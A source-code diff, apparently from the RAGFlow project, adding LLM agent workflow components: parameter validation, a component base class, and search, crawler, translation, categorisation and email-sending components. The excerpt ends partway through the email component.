+                    # recursive set obj attr
+                    sub_params = _recursive_update_param(
+                        attr, config_value, depth + 1, prefix=f"{prefix}{config_key}."
+                    )
+                    setattr(param, config_key, sub_params)
+
+            if not allow_redundant and redundant_attrs:
+                raise ValueError(
+                    f"cpn `{getattr(self, '_name', type(self))}` has redundant parameters: `{[redundant_attrs]}`"
+                )
+
+            return param
+
+        return _recursive_update_param(param=self, config=conf, depth=0, prefix="")
+
+    def extract_not_builtin(self):
+        def _get_not_builtin_types(obj):
+            ret_dict = {}
+            for variable in obj.__dict__:
+                attr = getattr(obj, variable)
+                if attr and type(attr).__name__ not in dir(builtins):
+                    ret_dict[variable] = _get_not_builtin_types(attr)
+
+            return ret_dict
+
+        return _get_not_builtin_types(self)
+
+    def validate(self):
+        self.builtin_types = dir(builtins)
+        self.func = {
+            "ge": self._greater_equal_than,
+            "le": self._less_equal_than,
+            "in": self._in,
+            "not_in": self._not_in,
+            "range": self._range,
+        }
+        home_dir = os.path.abspath(os.path.dirname(os.path.realpath(__file__)))
+        param_validation_path_prefix = home_dir + "/param_validation/"
+
+        param_name = type(self).__name__
+        param_validation_path = "/".join(
+            [param_validation_path_prefix, param_name + ".json"]
+        )
+
+        validation_json = None
+
+        try:
+            with open(param_validation_path, "r") as fin:
+                validation_json = json.loads(fin.read())
+        except BaseException:
+            return
+
+        self._validate_param(self, validation_json)
+
+    def _validate_param(self, param_obj, validation_json):
+        default_section = type(param_obj).__name__
+        var_list = param_obj.__dict__
+
+        for variable in var_list:
+            attr = getattr(param_obj, variable)
+
+            if type(attr).__name__ in self.builtin_types or attr is None:
+                if variable not in validation_json:
+                    continue
+
+                validation_dict = validation_json[default_section][variable]
+                value = getattr(param_obj, variable)
+                value_legal = False
+
+                for op_type in validation_dict:
+                    if self.func[op_type](value, validation_dict[op_type]):
+                        value_legal = True
+                        break
+
+                if not value_legal:
+                    raise ValueError(
+                        "Plase check runtime conf, {} = {} does not match user-parameter restriction".format(
+                            variable, value
+                        )
+                    )
+
+            elif variable in validation_json:
+                self._validate_param(attr, validation_json)
+
+    @staticmethod
+    def check_string(param, descr):
+        if type(param).__name__ not in ["str"]:
+            raise ValueError(
+                descr + " {} not supported, should be string type".format(param)
+            )
+
+    @staticmethod
+    def check_empty(param, descr):
+        if not param:
+            raise ValueError(
+                descr + " does not support empty value."
+            )
+
+    @staticmethod
+    def check_positive_integer(param, descr):
+        if type(param).__name__ not in ["int", "long"] or param <= 0:
+            raise ValueError(
+                descr + " {} not supported, should be positive integer".format(param)
+            )
+
+    @staticmethod
+    def check_positive_number(param, descr):
+        if type(param).__name__ not in ["float", "int", "long"] or param <= 0:
+            raise ValueError(
+                descr + " {} not supported, should be positive numeric".format(param)
+            )
+
+    @staticmethod
+    def check_nonnegative_number(param, descr):
+        if type(param).__name__ not in ["float", "int", "long"] or param < 0:
+            raise ValueError(
+                descr
+                + " {} not supported, should be non-negative numeric".format(param)
+            )
+
+    @staticmethod
+    def check_decimal_float(param, descr):
+        if type(param).__name__ not in ["float", "int"] or param < 0 or param > 1:
+            raise ValueError(
+                descr
+                + " {} not supported, should be a float number in range [0, 1]".format(
+                    param
+                )
+            )
+
+    @staticmethod
+    def check_boolean(param, descr):
+        if type(param).__name__ != "bool":
+            raise ValueError(
+                descr + " {} not supported, should be bool type".format(param)
+            )
+
+    @staticmethod
+    def check_open_unit_interval(param, descr):
+        if type(param).__name__ not in ["float"] or param <= 0 or param >= 1:
+            raise ValueError(
+                descr + " should be a numeric number between 0 and 1 exclusively"
+            )
+
+    @staticmethod
+    def check_valid_value(param, descr, valid_values):
+        if param not in valid_values:
+            raise ValueError(
+                descr
+                + " {} is not supported, it should be in {}".format(param, valid_values)
+            )
+
+    @staticmethod
+    def check_defined_type(param, descr, types):
+        if type(param).__name__ not in types:
+            raise ValueError(
+                descr + " {} not supported, should be one of {}".format(param, types)
+            )
+
+    @staticmethod
+    def check_and_change_lower(param, valid_list, descr=""):
+        if type(param).__name__ != "str":
+            raise ValueError(
+                descr
+                + " {} not supported, should be one of {}".format(param, valid_list)
+            )
+
+        lower_param = param.lower()
+        if lower_param in valid_list:
+            return lower_param
+        else:
+            raise ValueError(
+                descr
+                + " {} not supported, should be one of {}".format(param, valid_list)
+            )
+
+    @staticmethod
+    def _greater_equal_than(value, limit):
+        return value >= limit - settings.FLOAT_ZERO
+
+    @staticmethod
+    def _less_equal_than(value, limit):
+        return value <= limit + settings.FLOAT_ZERO
+
+    @staticmethod
+    def _range(value, ranges):
+        in_range = False
+        for left_limit, right_limit in ranges:
+            if (
+                    left_limit - settings.FLOAT_ZERO
+                    <= value
+                    <= right_limit + settings.FLOAT_ZERO
+            ):
+                in_range = True
+                break
+
+        return in_range
+
+    @staticmethod
+    def _in(value, right_value_list):
+        return value in right_value_list
+
+    @staticmethod
+    def _not_in(value, wrong_value_list):
+        return value not in wrong_value_list
+
+    def _warn_deprecated_param(self, param_name, descr):
+        if self._deprecated_params_set.get(param_name):
+            logging.warning(
+                f"{descr} {param_name} is deprecated and ignored in this version."
+            )
+
+    def _warn_to_deprecate_param(self, param_name, descr, new_param):
+        if self._deprecated_params_set.get(param_name):
+            logging.warning(
+                f"{descr} {param_name} will be deprecated in future release; "
+                f"please use {new_param} instead."
+            )
+            return True
+        return False
+
+
+class ComponentBase(ABC):
+    component_name: str
+
+    def __str__(self):
+        """
+        {
+            "component_name": "Begin",
+            "params": {}
+        }
+        """
+        return """{{
+            "component_name": "{}",
+            "params": {},
+            "output": {},
+            "inputs": {}
+        }}""".format(self.component_name,
+                     self._param,
+                     json.dumps(json.loads(str(self._param)).get("output", {}), ensure_ascii=False),
+                     json.dumps(json.loads(str(self._param)).get("inputs", []), ensure_ascii=False)
+        )
+
+    def __init__(self, canvas, id, param: ComponentParamBase):
+        self._canvas = canvas
+        self._id = id
+        self._param = param
+        self._param.check()
+
+    def get_dependent_components(self):
+        cpnts = set([para["component_id"].split("@")[0] for para in self._param.query \
+                     if para.get("component_id") \
+                     and para["component_id"].lower().find("answer") < 0 \
+                     and para["component_id"].lower().find("begin") < 0])
+        return list(cpnts)
+
+    def run(self, history, **kwargs):
+        logging.debug("{}, history: {}, kwargs: {}".format(self, json.dumps(history, ensure_ascii=False),
+                                                              json.dumps(kwargs, ensure_ascii=False)))
+        self._param.debug_inputs = []
+        try:
+            res = self._run(history, **kwargs)
+            self.set_output(res)
+        except Exception as e:
+            self.set_output(pd.DataFrame([{"content": str(e)}]))
+            raise e
+
+        return res
+
+    def _run(self, history, **kwargs):
+        raise NotImplementedError()
+
+    def output(self, allow_partial=True) -> Tuple[str, Union[pd.DataFrame, partial]]:
+        o = getattr(self._param, self._param.output_var_name)
+        if not isinstance(o, partial):
+            if not isinstance(o, pd.DataFrame):
+                if isinstance(o, list):
+                    return self._param.output_var_name, pd.DataFrame(o)
+                if o is None:
+                    return self._param.output_var_name, pd.DataFrame()
+                return self._param.output_var_name, pd.DataFrame([{"content": str(o)}])
+            return self._param.output_var_name, o
+
+        if allow_partial or not isinstance(o, partial):
+            if not isinstance(o, partial) and not isinstance(o, pd.DataFrame):
+                return pd.DataFrame(o if isinstance(o, list) else [o])
+            return self._param.output_var_name, o
+
+        outs = None
+        for oo in o():
+            if not isinstance(oo, pd.DataFrame):
+                outs = pd.DataFrame(oo if isinstance(oo, list) else [oo])
+            else:
+                outs = oo
+        return self._param.output_var_name, outs
+
+    def reset(self):
+        setattr(self._param, self._param.output_var_name, None)
+        self._param.inputs = []
+
+    def set_output(self, v):
+        setattr(self._param, self._param.output_var_name, v)
+
+    def get_input(self):
+        if self._param.debug_inputs:
+            return pd.DataFrame([{"content": v["value"]} for v in self._param.debug_inputs if v.get("value")])
+
+        reversed_cpnts = []
+        if len(self._canvas.path) > 1:
+            reversed_cpnts.extend(self._canvas.path[-2])
+        reversed_cpnts.extend(self._canvas.path[-1])
+
+        if self._param.query:
+            self._param.inputs = []
+            outs = []
+            for q in self._param.query:
+                if q.get("component_id"):
+                    if q["component_id"].split("@")[0].lower().find("begin") >= 0:
+                        cpn_id, key = q["component_id"].split("@")
+                        for p in self._canvas.get_component(cpn_id)["obj"]._param.query:
+                            if p["key"] == key:
+                                outs.append(pd.DataFrame([{"content": p.get("value", "")}]))
+                                self._param.inputs.append({"component_id": q["component_id"],
+                                                           "content": p.get("value", "")})
+                                break
+                        else:
+                            assert False, f"Can't find parameter '{key}' for {cpn_id}"
+                        continue
+
+                    if q["component_id"].lower().find("answer") == 0:
+                        txt = []
+                        for r, c in self._canvas.history[::-1][:self._param.message_history_window_size][::-1]:
+                            txt.append(f"{r.upper()}: {c}")
+                        txt = "\n".join(txt)
+                        self._param.inputs.append({"content": txt, "component_id": q["component_id"]})
+                        outs.append(pd.DataFrame([{"content": txt}]))
+                        continue
+
+                    outs.append(self._canvas.get_component(q["component_id"])["obj"].output(allow_partial=False)[1])
+                    self._param.inputs.append({"component_id": q["component_id"],
+                                               "content": "\n".join(
+                                                   [str(d["content"]) for d in outs[-1].to_dict('records')])})
+                elif q.get("value"):
+                    self._param.inputs.append({"component_id": None, "content": q["value"]})
+                    outs.append(pd.DataFrame([{"content": q["value"]}]))
+            if outs:
+                df = pd.concat(outs, ignore_index=True)
+                if "content" in df:
+                    df = df.drop_duplicates(subset=['content']).reset_index(drop=True)
+                return df
+
+        upstream_outs = []
+
+        for u in reversed_cpnts[::-1]:
+            if self.get_component_name(u) in ["switch", "concentrator"]:
+                continue
+            if self.component_name.lower() == "generate" and self.get_component_name(u) == "retrieval":
+                o = self._canvas.get_component(u)["obj"].output(allow_partial=False)[1]
+                if o is not None:
+                    o["component_id"] = u
+                    upstream_outs.append(o)
+                    continue
+            #if self.component_name.lower()!="answer" and u not in self._canvas.get_component(self._id)["upstream"]: continue
+            if self.component_name.lower().find("switch") < 0 \
+                    and self.get_component_name(u) in ["relevant", "categorize"]:
+                continue
+            if u.lower().find("answer") >= 0:
+                for r, c in self._canvas.history[::-1]:
+                    if r == "user":
+                        upstream_outs.append(pd.DataFrame([{"content": c, "component_id": u}]))
+                        break
+                break
+            if self.component_name.lower().find("answer") >= 0 and self.get_component_name(u) in ["relevant"]:
+                continue
+            o = self._canvas.get_component(u)["obj"].output(allow_partial=False)[1]
+            if o is not None:
+                o["component_id"] = u
+                upstream_outs.append(o)
+            break
+
+        assert upstream_outs, "Can't inference the where the component input is. Please identify whose output is this component's input."
+
+        df = pd.concat(upstream_outs, ignore_index=True)
+        if "content" in df:
+            df = df.drop_duplicates(subset=['content']).reset_index(drop=True)
+
+        self._param.inputs = []
+        for _, r in df.iterrows():
+            self._param.inputs.append({"component_id": r["component_id"], "content": r["content"]})
+
+        return df
+
+    def get_input_elements(self):
+        assert self._param.query, "Please identify input parameters firstly."
+        eles = []
+        for q in self._param.query:
+            if q.get("component_id"):
+                cpn_id = q["component_id"]
+                if cpn_id.split("@")[0].lower().find("begin") >= 0:
+                    cpn_id, key = cpn_id.split("@")
+                    eles.extend(self._canvas.get_component(cpn_id)["obj"]._param.query)
+                    continue
+
+                eles.append({"name": self._canvas.get_component_name(cpn_id), "key": cpn_id})
+            else:
+                eles.append({"key": q["value"], "name": q["value"], "value": q["value"]})
+        return eles
+
+    def get_stream_input(self):
+        reversed_cpnts = []
+        if len(self._canvas.path) > 1:
+            reversed_cpnts.extend(self._canvas.path[-2])
+        reversed_cpnts.extend(self._canvas.path[-1])
+
+        for u in reversed_cpnts[::-1]:
+            if self.get_component_name(u) in ["switch", "answer"]:
+                continue
+            return self._canvas.get_component(u)["obj"].output()[1]
+
+    @staticmethod
+    def be_output(v):
+        return pd.DataFrame([{"content": v}])
+
+    def get_component_name(self, cpn_id):
+        return self._canvas.get_component(cpn_id)["obj"].component_name.lower()
+
+    def debug(self, **kwargs):
+        return self._run([], **kwargs)
+
+    def get_parent(self):
+        pid = self._canvas.get_component(self._id)["parent_id"]
+        return self._canvas.get_component(pid)["obj"]

agent/component/begin.py

@@ -0,0 +1,49 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+from functools import partial
+import pandas as pd
+from agent.component.base import ComponentBase, ComponentParamBase
+
+
+class BeginParam(ComponentParamBase):
+
+    """
+    Define the Begin component parameters.
+    """
+    def __init__(self):
+        super().__init__()
+        self.prologue = "Hi! I'm your smart assistant. What can I do for you?"
+        self.query = []
+
+    def check(self):
+        return True
+
+
+class Begin(ComponentBase):
+    component_name = "Begin"
+
+    def _run(self, history, **kwargs):
+        if kwargs.get("stream"):
+            return partial(self.stream_output)
+        return pd.DataFrame([{"content": self._param.prologue}])
+
+    def stream_output(self):
+        res = {"content": self._param.prologue}
+        yield res
+        self.set_output(self.be_output(res))
+
+
+

agent/component/bing.py

@@ -0,0 +1,84 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+import logging
+from abc import ABC
+import requests
+import pandas as pd
+from agent.component.base import ComponentBase, ComponentParamBase
+
+class BingParam(ComponentParamBase):
+    """
+    Define the Bing component parameters.
+    """
+
+    def __init__(self):
+        super().__init__()
+        self.top_n = 10
+        self.channel = "Webpages"
+        self.api_key = "YOUR_ACCESS_KEY"
+        self.country = "CN"
+        self.language = "en"
+
+    def check(self):
+        self.check_positive_integer(self.top_n, "Top N")
+        self.check_valid_value(self.channel, "Bing Web Search or Bing News", ["Webpages", "News"])
+        self.check_empty(self.api_key, "Bing subscription key")
+        self.check_valid_value(self.country, "Bing Country",
+                               ['AR', 'AU', 'AT', 'BE', 'BR', 'CA', 'CL', 'DK', 'FI', 'FR', 'DE', 'HK', 'IN', 'ID',
+                                'IT', 'JP', 'KR', 'MY', 'MX', 'NL', 'NZ', 'NO', 'CN', 'PL', 'PT', 'PH', 'RU', 'SA',
+                                'ZA', 'ES', 'SE', 'CH', 'TW', 'TR', 'GB', 'US'])
+        self.check_valid_value(self.language, "Bing Languages",
+                               ['ar', 'eu', 'bn', 'bg', 'ca', 'ns', 'nt', 'hr', 'cs', 'da', 'nl', 'en', 'gb', 'et',
+                                'fi', 'fr', 'gl', 'de', 'gu', 'he', 'hi', 'hu', 'is', 'it', 'jp', 'kn', 'ko', 'lv',
+                                'lt', 'ms', 'ml', 'mr', 'nb', 'pl', 'br', 'pt', 'pa', 'ro', 'ru', 'sr', 'sk', 'sl',
+                                'es', 'sv', 'ta', 'te', 'th', 'tr', 'uk', 'vi'])
+
+
+class Bing(ComponentBase, ABC):
+    component_name = "Bing"
+
+    def _run(self, history, **kwargs):
+        ans = self.get_input()
+        ans = " - ".join(ans["content"]) if "content" in ans else ""
+        if not ans:
+            return Bing.be_output("")
+
+        try:
+            headers = {"Ocp-Apim-Subscription-Key": self._param.api_key, 'Accept-Language': self._param.language}
+            params = {"q": ans, "textDecorations": True, "textFormat": "HTML", "cc": self._param.country,
+                      "answerCount": 1, "promote": self._param.channel}
+            if self._param.channel == "Webpages":
+                response = requests.get("https://api.bing.microsoft.com/v7.0/search", headers=headers, params=params)
+                response.raise_for_status()
+                search_results = response.json()
+                bing_res = [{"content": '<a href="' + i["url"] + '">' + i["name"] + '</a>    ' + i["snippet"]} for i in
+                            search_results["webPages"]["value"]]
+            elif self._param.channel == "News":
+                response = requests.get("https://api.bing.microsoft.com/v7.0/news/search", headers=headers,
+                                        params=params)
+                response.raise_for_status()
+                search_results = response.json()
+                bing_res = [{"content": '<a href="' + i["url"] + '">' + i["name"] + '</a>    ' + i["description"]} for i
+                            in search_results['news']['value']]
+        except Exception as e:
+            return Bing.be_output("**ERROR**: " + str(e))
+
+        if not bing_res:
+            return Bing.be_output("")
+
+        df = pd.DataFrame(bing_res)
+        logging.debug(f"df: {str(df)}")
+        return df

agent/component/categorize.py

@@ -0,0 +1,98 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+import logging
+from abc import ABC
+from api.db import LLMType
+from api.db.services.llm_service import LLMBundle
+from agent.component import GenerateParam, Generate
+
+
+class CategorizeParam(GenerateParam):
+
+    """
+    Define the Categorize component parameters.
+    """
+    def __init__(self):
+        super().__init__()
+        self.category_description = {}
+        self.prompt = ""
+
+    def check(self):
+        super().check()
+        self.check_empty(self.category_description, "[Categorize] Category examples")
+        for k, v in self.category_description.items():
+            if not k:
+                raise ValueError("[Categorize] Category name can not be empty!")
+            if not v.get("to"):
+                raise ValueError(f"[Categorize] 'To' of category {k} can not be empty!")
+
+    def get_prompt(self, chat_hist):
+        cate_lines = []
+        for c, desc in self.category_description.items():
+            for line in desc.get("examples", "").split("\n"):
+                if not line:
+                    continue
+                cate_lines.append("USER: {}\nCategory: {}".format(line, c))
+        descriptions = []
+        for c, desc in self.category_description.items():
+            if desc.get("description"):
+                descriptions.append(
+                    "--------------------\nCategory: {}\nDescription: {}\n".format(c, desc["description"]))
+
+        self.prompt = """
+        You're a text classifier. You need to categorize the user’s questions into {} categories, 
+        namely: {}
+        Here's description of each category:
+        {}
+
+        You could learn from the following examples:
+        {}
+        You could learn from the above examples.
+        Just mention the category names, no need for any additional words.
+        
+        ---- Real Data ----
+        {}
+        """.format(
+            len(self.category_description.keys()),
+            "/".join(list(self.category_description.keys())),
+            "\n".join(descriptions),
+            "- ".join(cate_lines),
+            chat_hist
+        )
+        return self.prompt
+
+
+class Categorize(Generate, ABC):
+    component_name = "Categorize"
+
+    def _run(self, history, **kwargs):
+        input = self.get_input()
+        input = " - ".join(input["content"]) if "content" in input else ""
+        chat_mdl = LLMBundle(self._canvas.get_tenant_id(), LLMType.CHAT, self._param.llm_id)
+        ans = chat_mdl.chat(self._param.get_prompt(input), [{"role": "user", "content": "\nCategory: "}],
+                            self._param.gen_conf())
+        logging.debug(f"input: {input}, answer: {str(ans)}")
+        for c in self._param.category_description.keys():
+            if ans.lower().find(c.lower()) >= 0:
+                return Categorize.be_output(self._param.category_description[c]["to"])
+
+        return Categorize.be_output(list(self._param.category_description.items())[-1][1]["to"])
+
+    def debug(self, **kwargs):
+        df = self._run([], **kwargs)
+        cpn_id = df.iloc[0, 0]
+        return Categorize.be_output(self._canvas.get_component_name(cpn_id))
+

agent/component/concentrator.py

@@ -0,0 +1,36 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+from abc import ABC
+from agent.component.base import ComponentBase, ComponentParamBase
+
+
+class ConcentratorParam(ComponentParamBase):
+    """
+    Define the Concentrator component parameters.
+    """
+
+    def __init__(self):
+        super().__init__()
+
+    def check(self):
+        return True
+
+
+class Concentrator(ComponentBase, ABC):
+    component_name = "Concentrator"
+
+    def _run(self, history, **kwargs):
+        return Concentrator.be_output("")

agent/component/crawler.py

@@ -0,0 +1,67 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+from abc import ABC
+import asyncio
+from crawl4ai import AsyncWebCrawler
+from agent.component.base import ComponentBase, ComponentParamBase
+from api.utils.web_utils import is_valid_url
+
+
+class CrawlerParam(ComponentParamBase):
+    """
+    Define the Crawler component parameters.
+    """
+
+    def __init__(self):
+        super().__init__()
+        self.proxy = None
+        self.extract_type = "markdown"
+    
+    def check(self):
+        self.check_valid_value(self.extract_type, "Type of content from the crawler", ['html', 'markdown', 'content'])
+
+
+class Crawler(ComponentBase, ABC):
+    component_name = "Crawler"
+
+    def _run(self, history, **kwargs):
+        ans = self.get_input()
+        ans = " - ".join(ans["content"]) if "content" in ans else ""
+        if not is_valid_url(ans):
+            return Crawler.be_output("URL not valid")
+        try:
+            result = asyncio.run(self.get_web(ans))
+
+            return Crawler.be_output(result)
+            
+        except Exception as e:
+            return Crawler.be_output(f"An unexpected error occurred: {str(e)}")
+
+    async def get_web(self, url):
+        proxy = self._param.proxy if self._param.proxy else None
+        async with AsyncWebCrawler(verbose=True, proxy=proxy) as crawler:
+            result = await crawler.arun(
+                url=url,
+                bypass_cache=True
+            )
+            
+            if self._param.extract_type == 'html':
+                return result.cleaned_html
+            elif self._param.extract_type == 'markdown':
+                return result.markdown
+            elif self._param.extract_type == 'content':
+                result.extracted_content
+            return result.markdown

agent/component/deepl.py

@@ -0,0 +1,61 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+from abc import ABC
+from agent.component.base import ComponentBase, ComponentParamBase
+import deepl
+
+
+class DeepLParam(ComponentParamBase):
+    """
+    Define the DeepL component parameters.
+    """
+
+    def __init__(self):
+        super().__init__()
+        self.auth_key = "xxx"
+        self.parameters = []
+        self.source_lang = 'ZH'
+        self.target_lang = 'EN-GB'
+
+    def check(self):
+        self.check_positive_integer(self.top_n, "Top N")
+        self.check_valid_value(self.source_lang, "Source language",
+                               ['AR', 'BG', 'CS', 'DA', 'DE', 'EL', 'EN', 'ES', 'ET', 'FI', 'FR', 'HU', 'ID', 'IT',
+                                'JA', 'KO', 'LT', 'LV', 'NB', 'NL', 'PL', 'PT', 'RO', 'RU', 'SK', 'SL', 'SV', 'TR',
+                                'UK', 'ZH'])
+        self.check_valid_value(self.target_lang, "Target language",
+                               ['AR', 'BG', 'CS', 'DA', 'DE', 'EL', 'EN-GB', 'EN-US', 'ES', 'ET', 'FI', 'FR', 'HU',
+                                'ID', 'IT', 'JA', 'KO', 'LT', 'LV', 'NB', 'NL', 'PL', 'PT-BR', 'PT-PT', 'RO', 'RU',
+                                'SK', 'SL', 'SV', 'TR', 'UK', 'ZH'])
+
+
+class DeepL(ComponentBase, ABC):
+    component_name = "GitHub"
+
+    def _run(self, history, **kwargs):
+        ans = self.get_input()
+        ans = " - ".join(ans["content"]) if "content" in ans else ""
+        if not ans:
+            return DeepL.be_output("")
+
+        try:
+            translator = deepl.Translator(self._param.auth_key)
+            result = translator.translate_text(ans, source_lang=self._param.source_lang,
+                                               target_lang=self._param.target_lang)
+
+            return DeepL.be_output(result.text)
+        except Exception as e:
+            DeepL.be_output("**Error**:" + str(e))

agent/component/duckduckgo.py

@@ -0,0 +1,66 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+import logging
+from abc import ABC
+from duckduckgo_search import DDGS
+import pandas as pd
+from agent.component.base import ComponentBase, ComponentParamBase
+
+
+class DuckDuckGoParam(ComponentParamBase):
+    """
+    Define the DuckDuckGo component parameters.
+    """
+
+    def __init__(self):
+        super().__init__()
+        self.top_n = 10
+        self.channel = "text"
+
+    def check(self):
+        self.check_positive_integer(self.top_n, "Top N")
+        self.check_valid_value(self.channel, "Web Search or News", ["text", "news"])
+
+
+class DuckDuckGo(ComponentBase, ABC):
+    component_name = "DuckDuckGo"
+
+    def _run(self, history, **kwargs):
+        ans = self.get_input()
+        ans = " - ".join(ans["content"]) if "content" in ans else ""
+        if not ans:
+            return DuckDuckGo.be_output("")
+
+        try:
+            if self._param.channel == "text":
+                with DDGS() as ddgs:
+                    # {'title': '', 'href': '', 'body': ''}
+                    duck_res = [{"content": '<a href="' + i["href"] + '">' + i["title"] + '</a>    ' + i["body"]} for i
+                                in ddgs.text(ans, max_results=self._param.top_n)]
+            elif self._param.channel == "news":
+                with DDGS() as ddgs:
+                    # {'date': '', 'title': '', 'body': '', 'url': '', 'image': '', 'source': ''}
+                    duck_res = [{"content": '<a href="' + i["url"] + '">' + i["title"] + '</a>    ' + i["body"]} for i
+                                in ddgs.news(ans, max_results=self._param.top_n)]
+        except Exception as e:
+            return DuckDuckGo.be_output("**ERROR**: " + str(e))
+
+        if not duck_res:
+            return DuckDuckGo.be_output("")
+
+        df = pd.DataFrame(duck_res)
+        logging.debug("df: {df}")
+        return df

agent/component/email.py

@@ -0,0 +1,138 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+
+from abc import ABC
+import json
+import smtplib
+import logging
+from email.mime.text import MIMEText
+from email.mime.multipart import MIMEMultipart
+from email.header import Header
+from email.utils import formataddr
+from agent.component.base import ComponentBase, ComponentParamBase
+
+class EmailParam(ComponentParamBase):
+    """
+    Define the Email component parameters.
+    """
+    def __init__(self):
+        super().__init__()
+        # Fixed configuration parameters
+        self.smtp_server = ""  # SMTP server address
+        self.smtp_port = 465  # SMTP port
+        self.email = ""  # Sender email
+        self.password = ""  # Email authorization code
+        self.sender_name = ""  # Sender name
+
+    def check(self):
+        # Check required parameters
+        self.check_empty(self.smtp_server, "SMTP Server")
+        self.check_empty(self.email, "Email")
+        self.check_empty(self.password, "Password")
+        self.check_empty(self.sender_name, "Sender Name")
+
+class Email(ComponentBase, ABC):
+    component_name = "Email"
+    
+    def _run(self, history, **kwargs):
+        # Get upstream component output and parse JSON
+        ans = self.get_input()
+        content = "".join(ans["content"]) if "content" in ans else ""
+        if not content:
+            return Email.be_output("No content to send")
+
+        success = False
+        try:
+            # Parse JSON string passed from upstream
+            email_data = json.loads(content)
+            
+            # Validate required fields
+            if "to_email" not in email_data:
+                return Email.be_output("Missing required field: to_email")
+
+            # Create email object
+            msg = MIMEMultipart('alternative')
+            
+            # Properly handle sender name encoding
+            msg['From'] = formataddr((str(Header(self._param.sender_name,'utf-8')), self._param.email))
+            msg['To'] = email_data["to_email"]
+            if "cc_email" in email_data and email_data["cc_email"]:
+                msg['Cc'] = email_data["cc_email"]
+            msg['Subject'] = Header(email_data.get("subject", "No Subject"), 'utf-8').encode()
+
+            # Use content from email_data or default content
+            email_content = email_data.get("content", "No content provided")
+            # msg.attach(MIMEText(email_content, 'plain', 'utf-8'))
+            msg.attach(MIMEText(email_content, 'html', 'utf-8'))
+
+            # Connect to SMTP server and send
+            logging.info(f"Connecting to SMTP server {self._param.smtp_server}:{self._param.smtp_port}")
+            
+            context = smtplib.ssl.create_default_context()
+            with smtplib.SMTP_SSL(self._param.smtp_server, self._param.smtp_port, context=context) as server:
+                # Login
+                logging.info(f"Attempting to login with email: {self._param.email}")
+                server.login(self._param.email, self._param.password)
+                
+                # Get all recipient list
+                recipients = [email_data["to_email"]]
+                if "cc_email" in email_data and email_data["cc_email"]:
+                    recipients.extend(email_data["cc_email"].split(','))
+                
+                # Send email
+                logging.info(f"Sending email to recipients: {recipients}")
+                try:
+                    server.send_message(msg, self._param.email, recipients)
+                    success = True
+                except Exception as e:
+                    logging.error(f"Error during send_message: {str(e)}")
+                    # Try alternative method
+                    server.sendmail(self._param.email, recipients, msg.as_string())
+                    success = True
+                
+                try:
+                    server.quit()
+                except Exception as e:
+                    # Ignore errors when closing connection
